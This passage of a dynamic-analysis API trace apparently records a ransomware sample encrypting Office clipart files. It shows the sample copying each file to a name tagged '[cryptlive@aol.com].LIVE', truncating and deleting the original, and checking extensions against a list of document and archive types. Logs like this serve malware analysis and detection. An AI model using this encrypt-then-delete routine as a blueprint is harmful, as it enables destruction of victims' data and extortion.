lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.406] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.407] SetEndOfFile (hFile=0x3d0) returned 1 [0145.407] CloseHandle (hObject=0x3d0) returned 1 [0145.407] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.407] SetEndOfFile (hFile=0x328) returned 1 [0145.409] CloseHandle (hObject=0x328) returned 1 [0145.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0145.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0145.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0145.410] lstrlenW (lpString=".doc") returned 4 [0145.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.410] lstrlenW (lpString=".docx") returned 5 [0145.410] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.410] lstrlenW (lpString=".pdf") returned 4 [0145.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.410] lstrlenW (lpString=".xls") returned 4 [0145.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.410] lstrlenW (lpString=".xlsx") returned 5 [0145.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.410] lstrlenW (lpString=".ppt") returned 4 [0145.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0145.410] lstrlenW (lpString=".zip") returned 4 [0145.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.410] lstrlenW (lpString=".rar") returned 4 [0145.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.410] lstrlenW (lpString=".bz2") returned 4 [0145.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.410] lstrlenW (lpString=".7z") returned 3 [0145.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0145.410] lstrlenW (lpString=".dbf") returned 4 [0145.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0145.410] lstrlenW (lpString=".1cd") returned 4 [0145.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0145.410] lstrlenW (lpString=".jpg") returned 4 [0145.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0145.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0145.411] lstrlenW (lpString=".doc") returned 4 [0145.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.411] lstrlenW (lpString=".docx") returned 5 [0145.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.411] lstrlenW (lpString=".pdf") returned 4 [0145.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.411] lstrlenW (lpString=".xls") returned 4 [0145.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.411] lstrlenW (lpString=".xlsx") returned 5 [0145.411] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.411] lstrlenW (lpString=".ppt") returned 4 [0145.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0145.411] lstrlenW (lpString=".zip") returned 4 [0145.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.411] lstrlenW (lpString=".rar") returned 4 [0145.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.411] lstrlenW (lpString=".bz2") returned 4 [0145.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.411] lstrlenW (lpString=".7z") returned 3 [0145.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0145.411] lstrlenW (lpString=".dbf") returned 4 [0145.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0145.411] lstrlenW (lpString=".1cd") returned 4 [0145.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0145.411] lstrlenW (lpString=".jpg") returned 4 [0145.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.411] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.411] lstrlenW (lpString="HH00231_.WMF") returned 12 [0145.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.412] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2232) returned 1 [0145.413] CloseHandle (hObject=0x328) returned 1 [0145.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x20 [0145.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.413] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.413] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.414] GetLastError () returned 0x0 [0145.414] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x8b8, lpOverlapped=0x0) returned 1 [0145.415] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0145.416] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.416] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.416] SetEndOfFile (hFile=0x3d0) returned 1 [0145.416] CloseHandle (hObject=0x3d0) returned 1 [0145.416] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.416] SetEndOfFile (hFile=0x328) returned 1 [0145.419] CloseHandle (hObject=0x328) returned 1 [0145.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0145.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0145.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0145.419] lstrlenW (lpString=".doc") returned 4 [0145.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.420] lstrlenW (lpString=".docx") returned 5 [0145.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.420] lstrlenW (lpString=".pdf") returned 4 [0145.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.420] lstrlenW (lpString=".xls") returned 4 [0145.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.420] lstrlenW (lpString=".xlsx") returned 5 [0145.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.420] lstrlenW (lpString=".ppt") returned 4 [0145.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0145.420] lstrlenW (lpString=".zip") returned 4 [0145.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.420] lstrlenW (lpString=".rar") returned 4 [0145.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.420] lstrlenW (lpString=".bz2") returned 4 [0145.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.420] lstrlenW (lpString=".7z") returned 3 [0145.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0145.420] lstrlenW (lpString=".dbf") returned 4 [0145.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0145.420] lstrlenW (lpString=".1cd") returned 4 [0145.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0145.420] lstrlenW (lpString=".jpg") returned 4 [0145.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0145.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0145.420] lstrlenW (lpString=".doc") returned 4 [0145.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.420] lstrlenW (lpString=".docx") returned 5 [0145.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.420] lstrlenW (lpString=".pdf") returned 4 [0145.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.421] lstrlenW (lpString=".xls") returned 4 [0145.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.421] lstrlenW (lpString=".xlsx") returned 5 [0145.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.421] lstrlenW (lpString=".ppt") returned 4 [0145.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0145.421] lstrlenW (lpString=".zip") returned 4 [0145.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.421] lstrlenW (lpString=".rar") returned 4 [0145.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.421] lstrlenW (lpString=".bz2") returned 4 [0145.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.421] lstrlenW (lpString=".7z") returned 3 [0145.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0145.421] lstrlenW (lpString=".dbf") returned 4 [0145.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0145.421] lstrlenW (lpString=".1cd") returned 4 [0145.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0145.421] lstrlenW (lpString=".jpg") returned 4 [0145.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.421] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.421] lstrlenW (lpString="HH00235_.WMF") returned 12 [0145.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.422] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1026) returned 1 [0145.422] CloseHandle (hObject=0x328) returned 1 [0145.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x20 [0145.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.422] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.422] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.423] GetLastError () returned 0x0 [0145.423] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x402, lpOverlapped=0x0) returned 1 [0145.426] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x410, lpOverlapped=0x0) returned 1 [0145.427] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.427] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.427] SetEndOfFile (hFile=0x3d0) returned 1 [0145.427] CloseHandle (hObject=0x3d0) returned 1 [0145.427] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.427] SetEndOfFile (hFile=0x328) returned 1 [0145.429] CloseHandle (hObject=0x328) returned 1 [0145.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0145.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0145.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0145.430] lstrlenW (lpString=".doc") returned 4 [0145.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.430] lstrlenW (lpString=".docx") returned 5 [0145.430] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.430] lstrlenW (lpString=".pdf") returned 4 [0145.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.430] lstrlenW (lpString=".xls") returned 4 [0145.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.430] lstrlenW (lpString=".xlsx") returned 5 [0145.430] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.430] lstrlenW (lpString=".ppt") returned 4 [0145.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0145.431] lstrlenW (lpString=".zip") returned 4 [0145.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.431] lstrlenW (lpString=".rar") returned 4 [0145.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.431] lstrlenW (lpString=".bz2") returned 4 [0145.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.431] lstrlenW (lpString=".7z") returned 3 [0145.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0145.431] lstrlenW (lpString=".dbf") returned 4 [0145.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0145.431] lstrlenW (lpString=".1cd") returned 4 [0145.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0145.431] lstrlenW (lpString=".jpg") returned 4 [0145.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0145.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0145.431] lstrlenW (lpString=".doc") returned 4 [0145.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.431] lstrlenW (lpString=".docx") returned 5 [0145.431] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.431] lstrlenW (lpString=".pdf") returned 4 [0145.431] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.431] lstrlenW (lpString=".xls") returned 4 [0145.431] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.431] lstrlenW (lpString=".xlsx") returned 5 [0145.431] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.431] lstrlenW (lpString=".ppt") returned 4 [0145.431] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0145.431] lstrlenW (lpString=".zip") returned 4 [0145.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.431] lstrlenW (lpString=".rar") returned 4 [0145.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.431] lstrlenW (lpString=".bz2") returned 4 [0145.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.432] lstrlenW (lpString=".7z") returned 3 [0145.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0145.432] lstrlenW (lpString=".dbf") returned 4 [0145.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0145.432] lstrlenW (lpString=".1cd") returned 4 [0145.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0145.432] lstrlenW (lpString=".jpg") returned 4 [0145.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.432] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.432] lstrlenW (lpString="HH00236_.WMF") returned 12 [0145.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.432] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3286) returned 1 [0145.433] CloseHandle (hObject=0x328) returned 1 [0145.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x20 [0145.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.433] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.433] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.434] GetLastError () returned 0x0 [0145.434] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xcd6, lpOverlapped=0x0) returned 1 [0145.435] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xce0, lpOverlapped=0x0) returned 1 [0145.436] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.436] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.436] SetEndOfFile (hFile=0x3d0) returned 1 [0145.436] CloseHandle (hObject=0x3d0) returned 1 [0145.436] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.437] SetEndOfFile (hFile=0x328) returned 